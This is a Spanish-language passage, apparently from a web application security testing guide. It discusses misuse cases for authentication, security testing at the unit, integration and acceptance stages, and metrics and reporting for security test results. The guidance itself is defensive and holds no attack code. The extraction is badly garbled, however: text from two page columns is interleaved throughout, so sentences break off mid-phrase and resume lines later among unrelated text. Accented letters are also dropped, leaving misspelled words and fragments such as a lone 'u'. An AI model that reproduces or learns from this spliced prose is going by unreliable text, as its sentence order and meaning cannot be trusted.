La aplicacin no debe permitir que los datos sean modificados o destruidos.
funcionalidad esperada y se puede probar creando nuevamente las condiciones
de prueba y realizando la prueba de acuerdo con las entradas predefinidas. Los
La aplicacin no debe ser comprometida o mal utilizada para transacciones
resultados aparecen entonces como una condicin de error o de pasar.
financieras no autorizadas por un usuario malintencionado.
Para validar los requisitos de seguridad con pruebas de seguridad, estos deben
Los requisitos negativos son ms difciles de probar, porque no hay ningn
estar impulsados por la funcin y necesitan resaltar la funcionalidad esperada (el
comportamiento esperado que se pueda buscar. Esto podra requerir que un
qu) e implcitamente la implementacin (el cmo). Ejemplos de requisitos de
analista de amenazas cree causas y condiciones de entradas imprevisibles. Aqu
diseo de alto nivel de seguridad para la autenticacin pueden ser:
es donde las pruebas de seguridad deben ser conducidas por el anlisis de riesgo
y modelo de amenazas. La clave es documentar los escenarios de amenaza y la
funcionalidad de la defensa como factor para mitigar una amenaza.
Proteger las credenciales de usuario y secretos compartidos en trnsito y en

almacenamiento.
Por ejemplo, en el caso de controles de autenticacin, los siguientes requisitos de
Enmascarar cualquier dato confidencial en pantalla (por ejemplo, contraseas,
seguridad se pueden documentar desde la perspectiva de amenazas y defensas:
cuentas).
Bloqueo de la cuenta de usuario despus de un cierto nmero de intentos

fallidos de registro.
Encriptado de datos de autenticacin en trnsito o almacenamiento para mitigar
el riesgo de ataques de divulgacin de informacin y protocolo de autenticacin.
No mostrar errores de validacin especficos para el usuario como
consecuencia de un error de inicio de sesin.
Cifrar las contraseas usando encriptado no reversible como el uso de un
repertorio (p. ej., HASH) y una semilla para evitar el ataque de diccionario.
Permitir solamente contraseas que sean alfanumricas, que incluyan
caracteres especiales y una longitud mnima de seis caracteres, para limitar la
Bloquear cuentas despus de alcanzar un umbral de fallas de inicio de sesin y
superficie de ataque.
hacer cumplir la complejidad de contrasea para mitigar el riesgo de ataques
forzosos de contraseas.
Permitir la funcionalidad de cambio de contrasea slo a usuarios autenticados
mediante la validacin de la contrasea anterior, nueva contrasea y la respuesta
Mostrar mensajes de error genrico tras la validacin de credenciales para
del usuario a la pregunta de desafo, para evitar el acceso forzoso a una mitigar el riesgo de cosecha de cuentas o enumeracin.
contrasea a travs del cambio de contrasea.

23
Autenticar mutuamente al cliente y al servidor para evitar el no repudio y los

ataques de hombre en el medio (MiTM).
Para derivar los requerimientos de seguridad del uso y mal uso de los casos [20],
es importante definir los escenarios funcionales y los escenarios negativos y
poner stos en forma grfica. En el caso de derivacin de los requisitos de
Las herramientas del modelo de amenazas, tales como los rboles de amenaza y seguridad para la autenticacin, por ejemplo, la siguiente metodologa se puede
bibliotecas de ataque, pueden ser tiles para derivar las seguir paso a paso:
hiptesis de prueba negativa. Un rbol de amenazas asumir un ataque a la raz Paso 1: Describa la situacin funcional: El usuario autentica el ingreso mediante
(por ejemplo, el atacante podra ser capaz de leer mensajes de otros usuarios) e el suministro de un nombre de usuario y contrasea. La aplicacin permite el
identificar las diferentes debilidades de los controles de seguridad (por ejemplo, acceso a los usuarios, basada en la autenticacin de credenciales del usuario por
la validacin de datos falla debido a una vulnerabilidad de inyeccin SQL) y las parte de la aplicacin y proporciona errores especficos al usuario cuando la
defensas necesarias (por ejemplo, implementar la validacin de datos y consultas validacin falla.
parametrizadas) que pudieran ser validadas en su eficacia en la mitigacin de
este tipo de ataques.
Paso 2: Describa el escenario negativo: El atacante rompe la autenticacin

utilizando la fuerza bruta o a travs de un ataque de diccionario de contraseas y
la cosecha de vulnerabilidades de cuenta en la aplicacin. Los errores de
Cmo derivar los requisitos de las pruebas de seguridad
validacin proporcionan informacin especfica para que el atacante adivine qu
mediante casos de uso correcto y uso indebido cuentas son realmente cuentas vlidas registradas (usuarios). A continuacin, el
atacante
Un prerrequisito para describir la funcionalidad de la aplicacin es entender lo

que se supone que la aplicacin debe hacer y cmo. Esto puede hacerse intentar forzar la contrasea para esa cuenta vlida. Un ataque de fuerza bruta a
mediante la descripcin de casos de uso. Los casos de uso, en la forma grfica contraseas de mnimo cuatro dgitos a contraseas de todos los dgitos puede
como se usa generalmente en ingeniera de software, muestra las interacciones tener xito con un nmero limitado de intentos (es decir, 10 ^ 4).
de los actores y sus relaciones. Ayudan a identificar a los actores en la
aplicacin, sus relaciones, la secuencia prevista de acciones para cada escenario,
acciones alternativas, requisitos especiales, condiciones previas y condiciones
posteriores. Paso 3: Describa escenarios funcionales y escenarios negativos con casos de uso
correcto y uso indebido: El ejemplo grfico en la figura siguiente muestra la
derivacin de los requisitos de seguridad a travs de casos de uso correcto y mal
uso. El escenario funcional consiste en las acciones del usuario (introducir un
Al igual que los casos de uso correcto, los casos de uso indebido o casos de nombre de usuario y contrasea) y las acciones de aplicacin (autenticar al
abuso [19] describen escenarios de usos no deseados y maliciosos de la usuario y proporcionar un mensaje de error si la validacin falla). El caso de mal
aplicacin. Estos casos de mal uso proporcionan una forma para describir uso consiste en las acciones del atacante, es decir, tratar de romper la
escenarios de cmo un atacante podra usar indebidamente y abusar de la autenticacin usando fuerza bruta mediante un ataque de diccionario y
aplicacin. Al revisar los pasos individuales en un escenario de uso y pensar adivinando los nombres de usuario vlidos mediante los mensajes de error.
cmo pueden ser aprovechados maliciosamente, se pueden descubrir posibles Representando grficamente las amenazas a las acciones del usuario (mal uso),
fallas o aspectos de la aplicacin que no estn bien definidos. La clave es es posible derivar las defensas como las acciones de la aplicacin que mitiguen
describir todos los escenarios posibles o, al menos, los escenarios de uso tales amenazas.
correcto y uso indebido ms crticos.
Figura 5: Requisitos de seguridad

Los escenarios de uso indebido permiten el anlisis de la aplicacin desde la
perspectiva del atacante y contribuyen a la identificacin de posibles
vulnerabilidades y las defensas necesarias para mitigar el impacto causado por la
exposicin potencial a dichas vulnerabilidades. Dados todos los casos de uso y
abuso, es importante analizarlos para determinar cules son los ms crticos y los
que deben ser documentados en los requisitos de seguridad. La identificacin de
los casos ms crticos de uso indebido y abuso conducen a la documentacin de
requisitos de seguridad y a los controles necesarios donde los riesgos de
seguridad deben ser mitigados.

24
Las pruebas de seguridad durante la fase de desarrollo del SDLC representan la

primera oportunidad para los desarrolladores de asegurar que los componentes
de software individuales que han desarrollado pasan pruebas de seguridad antes
de que se integren con otros componentes y sean aadidos a la aplicacin. Los
componentes de software pueden ser artefactos de software tales como
funciones, mtodos y clases, as como interfaces de programacin de
aplicaciones, bibliotecas y archivos ejecutables. Para las pruebas de seguridad,
los desarrolladores pueden confiar en los resultados de los anlisis de cdigo
fuente para verificar estticamente que el cdigo fuente desarrollado no incluye
posibles vulnerabilidades y cumple con los estndares de seguridad de
codificacin. Las pruebas de seguridad de la unidad podrn comprobar
posteriormente de manera dinmica (es decir, en tiempo de ejecucin) que los
componentes funcionan como se esperaba. Antes de integrar ambos cambios de
cdigo nuevo y existente en la estructura de la aplicacin, los resultados de los
anlisis estticos y dinmicos deben ser revisados y validados.
La validacin del cdigo fuente antes de la integracin a las estructuras de la

aplicacin es, generalmente, responsabilidad del desarrollador snior. Estos
desarrolladores snior tambin son expertos en materia de seguridad de software
y su funcin es liderar la revisin de seguridad del cdigo. Deben tomar
decisiones sobre la conveniencia de aceptar que el cdigo sea incluido en la
estructura de la aplicacin o requiera ms cambios y pruebas. Este flujo de
trabajo de revisin de seguridad del cdigo puede aplicarse a travs de la
aceptacin formal, as como una aprobacin en una herramienta de gestin de
flujo de trabajo. Por ejemplo, suponiendo que se use el flujo de trabajo de
administracin de defectos tpico para errores funcionales, errores de seguridad
que han sido arreglados por un desarrollador pueden presentarse en un sistema
de gestin de defectos o cambios. El director puede ver los resultados registrados
por los desarrolladores en las herramientas y dar la aprobacin de las revisiones
a los cambios de cdigo en la estructura de la aplicacin.
Paso 4: Obtenga los requisitos de seguridad. En este caso, se derivan los
siguientes requisitos de seguridad para la autenticacin:
Pruebas de seguridad en el flujo de trabajo
1) Las contraseas deben ser alfanumricas, maysculas y minsculas y un Despus de que los componentes y los cambios en el cdigo son probados por
mnimo de longitud de siete caracteres; los desarrolladores y registrados en la estructura de la aplicacin, el siguiente
paso, ms probablemente en el flujo de trabajo del proceso de desarrollo de
2) Las cuentas deben bloquearse despus de cinco intentos de registro sin xito; software, es realizar pruebas en la aplicacin como una entidad completa. Este
nivel de prueba se conoce generalmente como prueba integrada y prueba de
3) Los mensajes de error de registro deben ser genricos. nivel de sistema. Cuando las pruebas de seguridad son parte de estas actividades
de pruebas, pueden utilizarse para validar la funcionalidad de seguridad de la
aplicacin como un todo, as como la exposicin a vulnerabilidades a nivel de
aplicacin. Estas pruebas de seguridad en la aplicacin incluyen tanto las
Estos requisitos de seguridad deben ser documentados y probados. pruebas de Caja Blanca como el anlisis de cdigo fuente; y las pruebas de Caja
Negra como pruebas de penetracin. Las pruebas de Caja Gris son similares a
las pruebas de Caja Negra. En una prueba de Caja Gris se supone que el
evaluador tiene un conocimiento parcial sobre el manejo de la sesin de la
aplicacin y que debe ayudar a entender si el registro de salida y funciones de
Las pruebas de seguridad integradas al desarrollo y flujos
tiempo de caducidad estn bien aseguradas.
de trabajo de las pruebas de seguridad
Las pruebas de seguridad en el flujo de trabajo del desarrollo

25
El objetivo de las pruebas de seguridad es el sistema completo que ser Desde la perspectiva del desarrollador, el principal objetivo de las pruebas de
potencialmente atacado e incluye el cdigo fuente completo y el seguridad es validar que el cdigo est siendo desarrollado de acuerdo con los
requisitos de las normas de codificacin segura. Los artefactos de codificacin
de los desarrolladores (como las funciones, mtodos, clases, APIs y bibliotecas)
deben ser validados funcionalmente antes de integrarse a la construccin de la
ejecutable. Una ventaja de las pruebas de seguridad durante esta fase de prueba aplicacin.
es que es posible para los evaluadores de seguridad determinar si las
vulnerabilidades pueden ser explotadas y exponen a la aplicacin a riesgos
reales. Esto incluye tanto a vulnerabilidades de aplicaciones web comunes como
a problemas de seguridad que se han identificado ms temprano en el SDLC con Los requisitos de seguridad que los desarrolladores tienen que seguir deben ser
otras actividades como el modelo de amenazas, el anlisis de cdigo fuente y documentados en los estndares de codificacin seguros y validados con el
revisiones de seguridad del cdigo. anlisis esttico y dinmico. Si la actividad de la unidad de pruebas sigue una
revisin de cdigos seguros, las pruebas de unidad pueden validar que los
cambios requeridos por las revisiones de seguridad de cdigos se hayan
implementado correctamente. Las revisiones de seguridad de cdigos y anlisis
Por lo general, son los ingenieros de pruebas, no los desarrolladores de software, de cdigo fuente a travs de las herramientas de anlisis de cdigo fuente ayudan
quienes realizan las pruebas de seguridad cuando la aplicacin est en la mira de a los desarrolladores en la identificacin de problemas de seguridad en el cdigo
las pruebas del sistema de integracin. Estos ingenieros de pruebas tienen fuente mientras se desarrolla. Mediante el uso de pruebas de
conocimientos de seguridad acerca de vulnerabilidades de aplicaciones web,
tcnicas de pruebas de seguridad de Caja Negra y Caja Blanca y dominan la
validacin de requisitos de seguridad en esta fase. Para poder realizar estas
pruebas de seguridad, es un prerrequisito que los casos de pruebas de seguridad unidad y anlisis dinmico (p. ej., depuracin) los desarrolladores pueden validar
estn documentados en la gua y procedimientos de pruebas de seguridad. la funcionalidad de seguridad de los componentes, as como verificar que las
defensas que estn siendo desarrolladas mitigan cualquier riesgo de seguridad
identificado previamente a travs de la creacin de modelos de amenazas y el
anlisis de cdigo fuente.
Un ingeniero de pruebas que valida la seguridad de la aplicacin en el entorno
del sistema integrado podra liberar a la aplicacin para ser probada en el entorno
operativo (por ejemplo, pruebas de aceptacin del usuario). En esta etapa de
SDLC (es decir, validacin), las pruebas funcionales de la aplicacin son Una buena prctica de los desarrolladores es crear casos de prueba de seguridad
generalmente una responsabilidad de evaluadores QA, mientras que los hackers como un conjunto de pruebas de seguridad genricas que forma parte del
de sombrero blanco o consultores de seguridad son generalmente responsables framework de pruebas de la unidad. Un conjunto de pruebas de seguridad
de las pruebas de seguridad. Algunas organizaciones se apoyan en su propio genrico puede derivarse de casos de uso correcto y mal uso previamente
equipo de hackers ticos especializados para llevar a cabo este tipo de pruebas definidos como funciones, mtodos y clases. Un conjunto de pruebas de
cuando una evaluacin externa no es necesaria (por ejemplo, para propsitos de seguridad genrica puede incluir casos de prueba de seguridad para validar tanto
auditora). requisitos positivos como negativos para los controles de seguridad, tales como:
Puesto que estas pruebas son el ltimo recurso para solucionar vulnerabilidades Identidad, autenticacin y control de acceso
antes de que la aplicacin sea lanzada a la produccin, es importante que estos
temas sean abordados segn lo recomendado por el equipo de pruebas. Las Validacin de ingreso y codificacin
recomendaciones pueden incluir cambios de cdigo, diseo o configuracin. En
este nivel, los auditores de seguridad y los oficiales de seguridad de la Encriptado
informacin discuten sobre los temas de seguridad reportados y analizan los
riesgos potenciales segn los procedimientos de gestin de riesgo de la Administracin de usuarios y sesin
informacin. Tales procedimientos pueden requerir que el equipo de desarrollo
corrija todas las vulnerabilidades de alto riesgo antes de que la aplicacin sea Manejo de errores y excepciones
liberada, a menos que tales riesgos sean reconocidos y aceptados.
Auditora y registro
Pruebas de seguridad del desarrollador

Los desarrolladores empoderados con una herramienta de anlisis de cdigo
Pruebas de seguridad en la fase de codificacin: pruebas de unidad fuente integrada en su IDE, estndares de codificacin seguros y un framework
para la unidad de pruebas de seguridad pueden evaluar y verificar la seguridad
de los componentes de software que est siendo desarrollado. Los casos de

26
pruebas de seguridad pueden ejecutarse para identificar posibles problemas de seguridad del desarrollador. Cuando se implementa una solucin para un defecto
seguridad que tienen su causa principal en el cdigo fuente. de codificacin identificado mediante el anlisis de cdigo fuente; por ejemplo,
los casos de pruebas de seguridad, puede verificar que la aplicacin del cambio
de cdigo sigue los requisitos de codificacin segura, documentados en los
estndares de codificacin seguros.
Adems de la validacin de parmetros de entrada y salida, que entran y salen
de los componentes, estos temas incluyen verificaciones de autenticacin y
autorizacin realizadas por el componente, proteccin de los datos dentro del
componente, excepcin segura y manejo de errores y garantizar la auditora y el Las pruebas de anlisis de cdigo fuente y de unidad pueden validar que el
registro. Los frameworks de la unidad de prueba tales como Junit, Nunit y Cunit cambio de cdigo mitiga la vulnerabilidad expuesta por el defecto de
se pueden adaptar para verificar los requisitos de la prueba de seguridad. En el codificacin previamente identificado. Los resultados del anlisis automatizado
caso de pruebas funcionales de seguridad, las pruebas de nivel de unidad pueden de codificacin segura tambin pueden utilizarse como puertas automticas de
probar la funcionalidad de los controles de seguridad al nivel de componentes de entrada para el control de la versin del software, por ejemplo, los artefactos del
software, tales como las funciones, mtodos o clases. Por ejemplo, un caso de software no pueden verificarse dentro de la estructura si existen temas de alto o
prueba puede verificar la validacin de entrada y salida (por ejemplo, mediano grado de severidad.
saneamiento de variables) y verificacin de lmites para las variables, afirmando
la funcionalidad esperada del componente.
Pruebas de seguridad de evaluadores funcionales

Los escenarios de amenaza identificados con los casos de uso y mal uso se
Las pruebas de seguridad durante la fase de integracin y
pueden utilizar para documentar los procedimientos para las pruebas de los
componentes de software. En el caso de componentes de autenticacin, por validacin:
ejemplo, las pruebas de seguridad de la unidad pueden afirmar la funcionalidad
de establecer un bloqueo de cuenta, as como el hecho de que los parmetros de Pruebas integradas de sistema y pruebas operativas
entrada de usuario no pueden ser objeto de abuso para eludir el bloqueo de la
cuenta (por ejemplo, estableciendo el contador de bloqueo de cuenta con un El objetivo principal de las pruebas de sistema integrado es validar el concepto
nmero negativo). de "defensa en profundidad", es decir, que la aplicacin de controles de
seguridad proporciona seguridad en diferentes niveles. Por ejemplo, la falta de
validacin de entrada al llamar a un componente integrado con la aplicacin es, a
menudo, un factor que puede ser probado con pruebas de integracin.
Al nivel de componentes, las pruebas de seguridad de la unidad pueden validar
afirmaciones positivas as como negativas, tales como manejo de errores y
excepciones. Las excepciones deben ser atrapadas sin dejar al sistema en un
estado inseguro, tal como una posible negacin de servicio provocada por El entorno de pruebas del sistema de integracin tambin es el primer ambiente
recursos que no se estn desasignando (por ejemplo, puntos de conexin no donde los evaluadores pueden simular escenarios de ataque real que puede ser
cerrados dentro de un bloque de declaracin final), as como la potencial potencialmente ejecutado por un usuario externo o interno de la aplicacin.
elevacin de privilegios (por ejemplo, mayores privilegios adquiridos antes de Pruebas a este nivel de seguridad pueden validar si las vulnerabilidades son
que la excepcin sea lanzada y que no vuelva a configurar con el nivel anterior reales y pueden ser aprovechadas por los atacantes. Por ejemplo, una potencial
antes de salir de la funcin). El manejo de errores de seguridad puede validar la vulnerabilidad en el cdigo fuente puede ser clasificada como de alto riesgo
posible revelacin de informacin a travs de mensajes informativos de error o debido a la exposicin a potenciales usuarios maliciosos, as como debido al
restos de informacin. impacto potencial (p. ej., acceso a informacin confidencial).
Los casos de pruebas de seguridad a nivel de unidad pueden ser desarrollados Los escenarios de ataque real pueden analizarse tanto con tcnicas manuales de
por un ingeniero de seguridad que es el experto en la materia de seguridad de pruebas como con herramientas de prueba de penetracin. Las pruebas de
software y tambin es responsable de validar que los temas de seguridad en el seguridad de este tipo se denominan tambin pruebas de hacking tico. Desde la
cdigo fuente se han corregido y se pueden comprobar en la estructura del perspectiva de pruebas de seguridad, stas son direccionadas por el riesgo y
sistema integrado. Normalmente, el administrador de la construccin de la tienen el objetivo de probar la aplicacin en el entorno operativo. El objetivo es
aplicacin tambin se asegura de que archivos ejecutables y bibliotecas de la estructura de la aplicacin representativa de aquella versin que ser
terceros sean evaluados en busca de vulnerabilidades potenciales antes de implementada en la produccin.
integrarlos en la estructura de las aplicaciones.
Incluir las pruebas de seguridad en la fase de integracin y validacin es

Los escenarios de amenazas de vulnerabilidades comunes que son causados por fundamental para identificar vulnerabilidades causadas por la integracin de
una codificacin insegura pueden documentarse tambin en gua de pruebas de componentes, as como la validacin de la exposicin a esas

27
vulnerabilidades. Las pruebas de seguridad para la aplicacin requieren de un

Anlisis de datos de prueba de seguridad y reportes
conjunto especializado de habilidades, incluidos los conocimientos de software y
seguridad, que no son tpicos de los ingenieros de seguridad. Como resultado de
Objetivos de las mtricas de pruebas de seguridad y mediciones
esto, las organizaciones deben, a menudo, entrenar a sus desarrolladores de
software sobre las tcnicas de hacking tico, procedimientos de evaluacin de
seguridad y las herramientas. Un escenario realista es desarrollar estos recursos
internamente y documentarlos en guas de pruebas de seguridad y
Definir los objetivos de mtricas de pruebas de seguridad y mediciones es un
procedimientos que tengan en cuenta el conocimiento del desarrollador sobre
prerrequisito para el uso de datos de las pruebas de seguridad para procesos de
pruebas de seguridad. Un listado llamado "hoja de trampa de casos de prueba de
anlisis de riesgo y gestin. Por ejemplo, una medida como el nmero total de
seguridad o lista de verificacin", por ejemplo, pueden proporcionar casos de
vulnerabilidades encontradas con las pruebas de seguridad podra cuantificar la
prueba simples y atacar vectores que pueden ser utilizados por los evaluadores
postura de seguridad de la aplicacin. Estas mediciones tambin ayudan a
para validar la exposicin a vulnerabilidades comunes como el spoofing (burla),
identificar los objetivos de seguridad para pruebas de seguridad de software. Por
divulgaciones de informacin, saturacin de bfer, cadenas de formato,
ejemplo, reducir el nmero de vulnerabilidades a un nmero aceptable (mnimo)
inyeccin de SQL, inyeccin XSS, XML, SOAP, problemas de estandarizacin,
antes de que la aplicacin sea lanzada a produccin.
denegacin de servicio y cdigo administrado y los controles ActiveX (por
ejemplo,.NET). Una primera batera de estas pruebas se puede realizar
manualmente con un conocimiento muy bsico de seguridad de software.
Otra meta manejable sera comparar la postura de seguridad de la aplicacin

contra una lnea de base para evaluar mejoras en los procesos de seguridad de la
aplicacin. Por ejemplo, la lnea base de mtricas de seguridad puede ser una
El primer objetivo de las pruebas de seguridad puede ser la validacin de un
aplicacin que fue probada solamente con pruebas de penetracin. Los datos de
conjunto de requisitos mnimos de seguridad. Estos casos de prueba de
seguridad obtenidos de una aplicacin que tambin fue probada durante la
seguridad podran consistir en forzar manualmente la aplicacin al error y
codificacin debe mostrar una mejora (p. ej., menor nmero de vulnerabilidades)
estados excepcionales y recabar conocimientos del comportamiento de la
al comparar con la lnea base.
aplicacin. Por ejemplo, las vulnerabilidades de inyeccin SQL se pueden
probar manualmente mediante la inyeccin de vectores de ataque a travs de los
ingresos del usuario y comprobando si las excepciones de SQL son devueltas al
usuario. La evidencia de un error de excepcin de SQL podra ser una
En pruebas de software tradicional, el nmero de defectos de software, tales
manifestacin de una vulnerabilidad que puede ser explotada.
como los errores encontrados en una aplicacin, podra proporcionar una medida
de la calidad del software. Del mismo modo, las pruebas de seguridad pueden
proporcionar una medida de seguridad de software. Desde el punto de vista de la
gestin de defectos e informes, la calidad del software y las pruebas de seguridad
Un examen ms profundo de seguridad puede requerir conocimientos de
pueden utilizar clasificaciones similares y el mismo esfuerzo para ver las causas
tcnicas especializadas de anlisis y herramientas por parte del evaluador.
principales y remediacin de defectos. Desde el punto de vista de la causa
Adems del anlisis de cdigo fuente y las pruebas de penetracin, estas tcnicas
principal, un defecto de seguridad puede ser debido a un error en el diseo (por
incluyen, por ejemplo, inyeccin de fallas del cdigo fuente y binario, anlisis de
ejemplo, fallas de seguridad) o debido a un error en la codificacin (por ejemplo,
propagacin de falla y cobertura de cdigo, pruebas de difusin e ingeniera
errores de seguridad). Desde la perspectiva del esfuerzo requerido para arreglar
inversa. La gua de pruebas de seguridad debe proporcionar procedimientos y
un defecto, tanto los defectos de seguridad como los de calidad, se pueden medir
recomendar herramientas que puedan utilizar los evaluadores de seguridad para
en trminos de horas del desarrollador para implementar la solucin, las
realizar a fondo estas evaluaciones de seguridad.
herramientas y recursos necesarios para reparar y el costo para implementar la
solucin.
El siguiente nivel de pruebas de seguridad despus de las pruebas de integracin

del sistema es realizar pruebas de seguridad en el entorno de aceptacin del
Una caracterstica de los datos de pruebas de seguridad, en comparacin con los
usuario. Hay ventajas nicas para realizar pruebas de seguridad en el entorno
datos de calidad, es la clasificacin en trminos de la amenaza, la exposicin de
operativo. El entorno de pruebas de aceptacin de usuario (UAT) es el ms
la vulnerabilidad y el impacto potencial que implica la vulnerabilidad para
representativo de la configuracin de lanzamiento, con la excepcin de los datos
determinar el riesgo. Las pruebas de aplicaciones de seguridad consisten en
(por ejemplo, los datos de prueba se utilizan en lugar de los datos reales). Una
gestionar los riesgos tcnicos para asegurarse de que las defensas de la
caracterstica de seguridad en la UAT es probar los problemas de configuracin
aplicacin alcancen niveles aceptables. Por esta razn, los datos de pruebas de
de seguridad. En algunos casos, estas vulnerabilidades podran representar alto
seguridad deben apoyar la estrategia de riesgo para la seguridad en puntos
riesgo. Por ejemplo, el servidor que aloja la aplicacin web podra no estar
crticos de control durante el SDLC.
configurado con privilegios mnimos, certificado SSL vlido y configuracin
segura, los servicios esenciales desactivados y el directorio web principal no
haber sido limpiado de pruebas y pginas web administrativas.

28
Por ejemplo, las vulnerabilidades encontradas en el cdigo fuente mediante el Los datos de pruebas de seguridad pueden ser absolutos, como el nmero de
anlisis del cdigo fuente representan una medida inicial del riesgo. Una medida vulnerabilidades detectadas durante la revisin de cdigo manual; as como
de riesgo (p. ej., alta, media, baja) de la vulnerabilidad puede calcularse comparativo, como el nmero de vulnerabilidades detectadas durante las
mediante la determinacin de los factores de exposicin y probabilidad, revisiones de cdigo comparadas con las pruebas de penetracin. Para responder
validando la vulnerabilidad con pruebas de penetracin. Las mtricas de riesgo a preguntas sobre la calidad del proceso de seguridad, es importante determinar
asociadas a vulnerabilidades encontradas con las pruebas de seguridad dan el una lnea base para lo que podra considerarse aceptable y bueno. Los datos de
poder a la gestin de negocio para poder tomar decisiones de riesgo, tales como pruebas de seguridad tambin pueden apoyar objetivos especficos del anlisis
para decidir si los riesgos pueden ser aceptados, mitigados o transferidos a de seguridad. Estos objetivos podran ser el cumplimiento de las normas de
diferentes niveles dentro de la organizacin (por ejemplo, de negocios, as como seguridad y estndares de seguridad de la informacin, los procesos de gestin
los riesgos tcnicos). de la seguridad, la identificacin de causas principales de seguridad y mejoras en
los procesos y el anlisis de costo- beneficio de la seguridad.
Cuando se reportan los datos de las pruebas de seguridad, estos deben

Al evaluar la postura de seguridad de una aplicacin, es importante tener en proporcionar mtricas que apoyen el anlisis. El alcance del anlisis es la
cuenta ciertos factores, tales como el tamao de la aplicacin que est siendo interpretacin de los datos de prueba para encontrar pistas sobre la seguridad del
desarrollada. Se ha demostrado estadsticamente que el tamao de la aplicacin software en produccin, as como la efectividad del proceso.
se relaciona con el nmero de problemas encontrados en la aplicacin durante la
prueba. Una medida del tamao de la aplicacin es el nmero de lneas de
cdigo (LOC) de la aplicacin. Por lo general, los defectos de calidad de
software van desde unos siete a diez defectos por cada mil lneas de cdigo Algunos ejemplos de las pistas sustentadas por datos de prueba de seguridad
nuevo y corregido [21]. Puesto que las pruebas pueden reducir el nmero total pueden ser:
cerca de un 25% con solo una prueba, es lgico que las aplicaciones de mayor
tamao sean probadas ms a menudo que las aplicaciones de tamao ms
pequeo.
Se reducen las vulnerabilidades a un nivel aceptable para el lanzamiento?
Cmo se compara la calidad de la seguridad de este producto con otros

Cuando las pruebas de seguridad se realizan en varias etapas de la SDLC, los productos similares de software?
datos de prueba pueden demostrar la capacidad de las pruebas de seguridad en la
deteccin de vulnerabilidades en cuanto estas son introducidas. Los datos de Se estn cumpliendo todos los requisitos de pruebas de seguridad?
prueba tambin pueden probar la eficacia de la eliminacin de las
vulnerabilidades mediante la implementacin de defensas en diferentes puntos Cules son las causas principales de los problemas de seguridad?
de control de la SDLC. Una medida de este tipo se define tambin como
"mtricas de contencin" y proporciona una medida de la capacidad de mantener u tan numerosas son las fallas de seguridad con respecto a los errores de
la seguridad dentro de cada fase del proceso de desarrollo para mantener la seguridad?
seguridad en cada una. Estas mtricas de contencin tambin son un factor
crtico para reducir el costo al solucionar las vulnerabilidades. Es menos costoso
hacer frente a vulnerabilidades que se encuentran en la fase misma de la SDLC,
u actividad de seguridad es ms eficaz para encontrar vulnerabilidades?
que arreglarlas ms adelante en otra fase.
u equipo es ms productivo en arreglar defectos de seguridad y

vulnerabilidades?
Las mtricas de pruebas de seguridad pueden apoyar la seguridad de riesgos,
u porcentaje del total de vulnerabilidades es de alto riesgo?
costo y gestin de defectos cuando se asocian con objetivos tangibles y a tiempo,
tales como:
u herramientas son ms eficaces en la deteccin de vulnerabilidades de
seguridad?
reducir el nmero total de vulnerabilidades en un 30% u tipo de pruebas de seguridad son ms eficaces para detectar
vulnerabilidades (por ejemplo, Caja Blanca versus Caja Negra)?
solucin de temas de seguridad en un determinado plazo (por ejemplo, antes
del lanzamiento de la beta) Cuntos problemas de seguridad se encuentran durante las revisiones de
seguridad del cdigo?
Cuntos problemas de seguridad se encuentran durante las revisiones de

seguridad del diseo?

29
La causa principal de los temas de seguridad (por ejemplo, los errores de

seguridad, la falla de seguridad)
Para hacer un juicio coherente utilizando los datos de prueba, es importante tener
una buena comprensin del proceso de pruebas, as como de las herramientas de La tcnica de pruebas utilizada para encontrar el problema
prueba. Se debe adoptar una taxonoma de herramientas para decidir qu
herramientas de seguridad se deben utilizar. Las herramientas de seguridad se La solucin a la vulnerabilidad (por ejemplo, la defensa)
pueden calificar como buenas para encontrar vulnerabilidades comunes
conocidas que apuntan a distintos objetos.
La clasificacin de gravedad de la vulnerabilidad (alta, media, baja o

puntuacin CVSS)
La preocupacin es que no se analizan los temas de seguridad desconocidos. El
hecho de que se pase una prueba de seguridad no significa que el software o la
aplicacin es buena. Algunos estudios [22] han demostrado que, en el mejor de
los casos, las herramientas slo pueden encontrar el 45% de todas las Describiendo cul es la amenaza a la seguridad, ser posible entender si y por
vulnerabilidades. qu el control de mitigacin es ineficaz en la mitigacin de la amenaza.
Incluso las ms sofisticadas herramientas de automatizacin no son competencia Informar la causa principal del problema puede ayudar a identificar lo que necesita
para un evaluador de seguridad experimentado. Slo confiar en los resultados de ser corregido. En el caso de una prueba de Caja Blanca, por ejemplo, la causa de
pruebas exitosas de las herramientas de automatizacin les dar a los seguridad principal de la vulnerabilidad del software ser transgredir el cdigo
profesionales de la seguridad una falsa sensacin de seguridad. Por lo general, fuente.
mientras ms experimentados son los evaluadores de seguridad en la
metodologa de pruebas de seguridad y herramientas de prueba, mejores sern
los resultados de las pruebas de seguridad y anlisis. Es importante que los
gerentes que realizan una inversin en herramientas de pruebas de seguridad Una vez que se reportan los problemas, tambin es importante proporcionar
tambin consideren una inversin en la contratacin de recursos humanos orientacin al desarrollador de software para que pueda volver a probar y encontrar
calificados, as como en capacitacin para pruebas de seguridad. la vulnerabilidad. Esto podra significar usar una tcnica de prueba de Caja Blanca
(por ejemplo, revisin del cdigo de seguridad con un analizador de cdigo
esttico) para encontrar si el cdigo es vulnerable. Si se encuentra una
vulnerabilidad a travs de una tcnica de Caja Negra (prueba de penetracin), el
Reporte de requerimientos informe de prueba tambin debe proporcionar informacin sobre cmo validar la
exposicin de la vulnerabilidad en el extremo delantero (por ejemplo, cliente).
La postura de seguridad de una aplicacin puede ser caracterizada desde la
perspectiva del efecto, tal como el nmero de vulnerabilidades y la calificacin
de riesgo de las vulnerabilidades, as como desde la perspectiva de la causa u
origen, tales como problemas de codificacin, fallos arquitectnicos y errores de La informacin acerca de cmo solucionar la vulnerabilidad debe ser detallada
configuracin. suficientemente para que un desarrollador pueda implementar una solucin. Debe
dar ejemplos de codificacin segura, cambios en la configuracin y proporcionar
referencias adecuadas.
Las vulnerabilidades pueden clasificarse segn diversos criterios. La mtrica de

la gravedad de vulnerabilidad ms comnmente utilizada es el Foro de
Respuesta a Incidentes y Equipos de Seguridad (FIRST) Sistema de Puntuacin Finalmente, la clasificacin de la gravedad contribuye al clculo de la calificacin
de Vulnerabilidad Comn (CVSS), que actualmente se encuentra en la versin 2 de riesgo y ayuda a priorizar los esfuerzos de remediacin. Por lo general, asignar
con la versin 3, cuyo lanzamiento est previsto para dentro de poco. una calificacin de riesgo a la vulnerabilidad involucra el anlisis de riesgo externo
basado en factores tales como el impacto y la exposicin.
Al reportar datos de prueba de seguridad, la mejor prctica es incluir la siguiente

informacin: Casos de negocios
Para que las mtricas de pruebas de seguridad sean tiles, deben proporcionar valor
